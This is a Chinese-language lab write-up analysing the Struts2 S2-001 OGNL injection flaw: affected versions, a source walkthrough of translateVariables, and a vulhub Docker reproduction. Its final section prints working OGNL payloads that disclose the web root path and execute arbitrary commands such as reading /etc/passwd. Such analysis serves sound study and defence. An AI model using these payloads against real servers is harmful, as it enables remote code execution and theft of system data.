1、漏洞描述
Struts2是一个基于MVC设计模式Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
WebWork 2.1+ 和 Struts 2 的 'altSyntax' 特性允许将 OGNL 表达式插入文本字符串并进行递归处理,这允许恶意用户提交一个字符串。如果用户提交表单验证失败,且提交的参数中包含一个 OGNL 表达式,服务器将执行该表达式。
2、影响版本
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
3、漏洞简单分析
-
问题主要是出在
translateVariables函数中,源码如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
-
此时
expression为%{password}:

-
经过while循环,此时
var为password:

-
stack.findValue(var, asType);会返回password的值%{1+1},这个就是我们传入的payload:

-
此后
o为%{1+1},再对o进行了一番处理后,payload经过result变量,最终成为expression的值:

-
在完成后,进入下一个循环:

-
并且在
Object o = stack.findValue(var, asType);中完成了对payload的执行:

-
总结:究其原因,在于在
translateVariables函数中,递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1},则得以解析执行。
4、漏洞复现
4.1 环境搭建
使用vulnhub进行搭建https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-001
docker-compose build
docker-compose up -d

4.2 最简单POC语句尝试,输入%{1+1},语句成功执行

4.3 尝试获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

4.4 执行任意命令,只需修改命令加参数,例如new java.lang.String[]{"cat","/etc/passwd"}
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

参考链接:
https://xz.aliyun.com/t/2044
https://xz.aliyun.com/t/2672#toc-2
https://www.freebuf.com/articles/web/280245.html
https://cwiki.apache.org/confluence/display/WW/S2-001
